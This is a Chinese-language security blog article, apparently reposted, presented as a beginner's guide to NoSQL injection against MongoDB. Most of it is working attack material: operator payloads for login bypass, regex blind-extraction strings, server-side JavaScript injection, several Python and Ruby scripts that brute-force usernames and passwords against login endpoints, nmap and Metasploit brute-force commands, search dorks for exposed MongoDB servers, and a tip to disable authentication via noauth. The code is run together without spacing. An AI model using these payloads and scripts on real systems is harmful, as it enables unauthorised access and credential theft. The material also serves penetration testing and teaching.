文章总结: 本文解析NoSQL注入原理,重点针对MongoDB。涵盖常见元字符、认证绕过、正则盲注及SSJI攻击,提供Python与Ruby脚本实现数据提取与爆破。此外包含MongoDB枚举、ObjectID预测及权限绕过技巧,是实用的NoSQL安全测试指南。 综合评分: 82 文章分类: WEB安全,渗透测试,漏洞POC,红队
小白也能看懂系列:一文看懂NoSQL注入
原创
网络安全民工 网络安全民工
网络安全民工
2026年1月27日 13:15 天津
NoSQL注入
开发
- 以下是一些常见的 NoSQL 元字符,您可以通过 API 调用发送这些元字符来操作数据库:
$gt{"$gt":""} {"$gt":-1}$ne{"$ne":""} {"$ne":-1}$nin{"$nin":1} {"$nin":[1]}||'1'=='1//||'a'\\'a'||'1'=='1';//'/{}:'"\;{}'"\/$[].>{"$where": "sleep(1000)"}
- 使用 Postman 成功发起 NoSQL 注入攻击:
PHP
这些漏洞利用是基于添加一个操作员。
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s #<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7#<Matches non of the values of the array> (not test and not admin){ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
绕过身份验证
使用不等于 ($ne) 或大于 ($gt) 绕过基本身份验证
inDATAusername[$ne]=toto&password[$ne]=totologin[$regex]=a.*&pass[$ne]=lollogin[$gt]=admin&login[$lt]=test&pass[$ne]=1login[$nin][]=admin&login[$nin][]=test&pass[$ne]=totoinJSON{"username": {"$ne": null},"password": {"$ne": null}}{"username": {"$ne": "foo"},"password": {"$ne": "bar"}}{"username": {"$gt": undefined},"password": {"$gt": undefined}}{"username": {"$gt":""},"password": {"$gt":""}}
SQL – Mongo
Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00
提取长度信息
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}
提取数据信息
inURLusername[$ne]=toto&password[$regex]=m.{2}username[$ne]=toto&password[$regex]=md.{1}username[$ne]=toto&password[$regex]=mdpusername[$ne]=toto&password[$regex]=m.*username[$ne]=toto&password[$regex]=md.*inJSON{"username": {"$eq": "admin"},"password": {"$regex": "^m"}}{"username": {"$eq": "admin"},"password": {"$regex": "^md"}}{"username": {"$eq": "admin"},"password": {"$regex": "^mdp"}}
使用“in”提取数据
{"username":{"$in":["Admin","4dm1n","admin","root","administrator"]},"password":{"$gt":""}}
SQL – Mongo
/?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password /?search=admin' && this.password && this.password.match(/^a.*$/)%00 /?search=admin' && this.password && this.password.match(/^b.*$/)%00 /?search=admin' && this.password && this.password.match(/^c.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
SSJI
';return 'a'=='a'&&''==' ";return 'a'=='a' && ''=='0;returntrue
PHP任意函数执行
使用MongoLite库的 $func 运算符(默认使用),可以像本报告中那样执行任意函数。
"user":{"$func": "var_dump"}
从不同系列中获取信息
可以使用$lookup从不同的集合中获取信息。在下面的示例中,我们从名为 users 的集合中读取数据,并获取密码与通配符匹配的所有条目的结果。
[{"$lookup":{"from": "users","as":"resultado","pipeline": [{"$match":{"password":{"$regex":"^.*"}}}]}}]
盲目 NoSQL
importrequests, stringalphabet=string.ascii_lowercase+string.ascii_uppercase+string.digits+"_@{}-/()!\"$%=^[]:;"flag=""foriinrange(21): print("[i] Looking for char number "+str(i+1)) forcharinalphabet: r=requests.get("http://chall.com?param=^"+flag+char) if ("<TRUE>"inr.text): flag+=charprint("[+] Flag: "+flag) break
importrequestsimporturllib3importstringimporturlliburllib3.disable_warnings()username="admin"password=""whileTrue: forcinstring.printable: ifcnotin ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'% (username, password+c) r=requests.post(u, data= {'ids': payload}, verify=False) if'OK'inr.text: print("Found one more char : %s"% (password+c)) password+=c
POST 请求,请求体为 JSON 格式
Python脚本
importrequestsimporturllib3importstringimporturlliburllib3.disable_warnings()username="admin"password=""u="http://example.org/login"headers={'content-type': 'application/json'}whileTrue: forcinstring.printable: ifcnotin ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'% (username, password+c) r=requests.post(u, data=payload, headers=headers, verify=False, allow_redirects=False) if'OK'inr.textorr.status_code==302: print("Found one more char : %s"% (password+c)) password+=c
POST 请求体包含 URL 编码内容
Python脚本
importrequestsimporturllib3importstringimporturlliburllib3.disable_warnings()username="admin"password=""u="http://example.org/login"headers={'content-type': 'application/x-www-form-urlencoded'}whileTrue: forcinstring.printable: ifcnotin ['*','+','.','?','|','&','$']: payload='user=%s&pass[$regex]=^%s&remember=on'% (username, password+c) r=requests.post(u, data=payload, headers=headers, verify=False, allow_redirects=False) ifr.status_code==302andr.headers['Location'] =='/dashboard': print("Found one more char : %s"% (password+c)) password+=c
得到
Python脚本
importrequestsimporturllib3importstringimporturlliburllib3.disable_warnings()username='admin'password=''u='http://example.org/login'whileTrue: forcinstring.printable: ifcnotin ['*','+','.','?','|', '#', '&', '$']: payload=f"?username={username}&password[$regex]=^{password+c}"r=requests.get(u+payload) if'Yeah'inr.text: print(f"Found one more char : {password+c}") password+=c
Ruby脚本
require'httpx'username='admin'password=''url='http://example.org/login'# CHARSET = (?!..?~).to_a # all ASCII printable charactersCHARSET=[*'0'..'9',*'a'..'z','-']# alphanumeric + '-'GET_EXCLUDE=['*','+','.','?','|','#','&','$']session=HTTPX.plugin(:persistent)whiletrueCHARSET.eachdo |c| unlessGET_EXCLUDE.include?(c)payload="?username=#{username}&password[$regex]=^#{password + c}"res=session.get(url + payload)ifres.body.to_s.match?('Yeah')puts"Found one more char : #{password + c}"password += cendendendend
MongoDB 有效载荷
true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1' 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 ' && this.password.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1 ';return 'a'=='a' && ''==' ";return(true);var xyz='a 0;return true
工具
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
通过 POST 登录方式暴力破解登录用户名和密码
这是一个简单的脚本,您可以对其进行修改,但之前的工具也可以完成这项任务。
importrequestsimportstringurl="http://example.com"headers= {"Host": "exmaple.com"}cookies= {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}possible_chars=list(string.ascii_letters) +list(string.digits) + ["\\"+cforcinstring.punctuation+string.whitespace ]defget_password(username): print("Extracting password of "+username) params= {"username":username, "password[$regex]":"", "login": "login"} password="^"whileTrue: forcinpossible_chars: params["password[$regex]"] =password+c+".*"pr=requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) ifint(pr.status_code) ==302: password+=cbreakifc==possible_chars[-1]: print("Found password "+password[1:].replace("\\", "")+" for username "+username) returnpassword[1:].replace("\\", "")defget_usernames(): usernames= [] params= {"username[$regex]":"", "password[$regex]":".*", "login": "login"} forcinpossible_chars: username="^"+cparams["username[$regex]"] =username+".*"pr=requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) ifint(pr.status_code) ==302: print("Found username starting with "+c) whileTrue: forc2inpossible_chars: params["username[$regex]"] =username+c2+".*"ifint(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) ==302: username+=c2print(username) breakifc2==possible_chars[-1]: print("Found username: "+username[1:]) usernames.append(username[1:]) breakreturnusernamesforuinget_usernames(): get_password(u)
MongoDB 简要概述
- 默认端口:
27017,27018
枚举
手动的
frompymongoimportMongoClientclient=MongoClient(host, port, username=username, password=password)client.server_info() #Basic info#If you have admin access you can obtain more infoadmin=client.adminadmin_info=admin.command("serverStatus")cursor=client.list_databases()fordbincursor: print(db) print(client[db["name"]].list_collection_names())#If admin access, you could dump the database also
一些 MongoDB 命令:
show dbs use <db>show collections db.<collection>.find() #Dump the collectiondb.<collection>.count() #Number of records of the collectiondb.current.find({"username":"admin"}) #Find in current db the username admin
自动的
#By default all the nmap mongo enumerate scripts are usednmap -sV --script "mongo* and default" -p 27017 <IP>
初段
- 所有 MongoDB:
"mongodb server information" - 搜索完全开放的 MongoDB 服务器:
"mongodb server information" -"partially enabled" - 仅部分启用身份验证:
"mongodb server information" "partially enabled"
登录
默认情况下,MongoDB 不需要密码。Admin 是一个常见的 MongoDB 数据库。
mongo <HOST>mongo <HOST>:<PORT>mongo <HOST>:<PORT>/<DB>mongo <database> -u <username> -p '<password>'
nmap 脚本:mongodb-brute 将检查是否需要凭据。
nmap -n -sV --script mongodb-brute -p 27017 <ip>
蛮力
nmap -sV --script mongodb-brute -n -p 27017 <IP>use auxiliary/scanner/mongodb/mongodb_login
查看 /opt/bitnami/mongodb/mongodb.conf 文件,了解是否需要凭据:
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#"#Not neededgrep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth"#Not needed
Mongo Objectid 预测
MongoDB 对象 ID 是 12 字节的十六进制字符串:
例如,我们可以这样解析应用程序返回的实际对象 ID:5f2459ac9fa6dc2500314019
- 5f2459ac:十进制数 1596217772 = 2020 年 7 月 31 日星期五 17:49:32
- 9fa6dc:机器标识符
- 2500:进程 ID
- 314019:增量计数器
在上述元素中,机器标识符在数据库运行于同一物理/虚拟机上时将保持不变。进程 ID 仅在 MongoDB 进程重启时才会改变。时间戳每秒更新一次。仅仅通过递增计数器和时间戳值来猜测对象 ID 的唯一挑战在于,MongoDB 是在系统级别生成和分配对象 ID 的。
工具https://github.com/andresriancho/mongo-objectid-predict,给定一个起始对象 ID(你可以创建一个帐户并获得一个起始 ID),它会返回大约 1000 个可能分配给下一个对象的对象 ID,因此你只需要暴力破解它们即可。
邮政
如果您是 root 用户,您可以修改 mongodb.conf 文件,使其不需要凭据(noauth = true),然后无需凭据即可登录。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全民工 网络安全民工 网络安全民工《小白也能看懂系列:一文看懂NoSQL注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论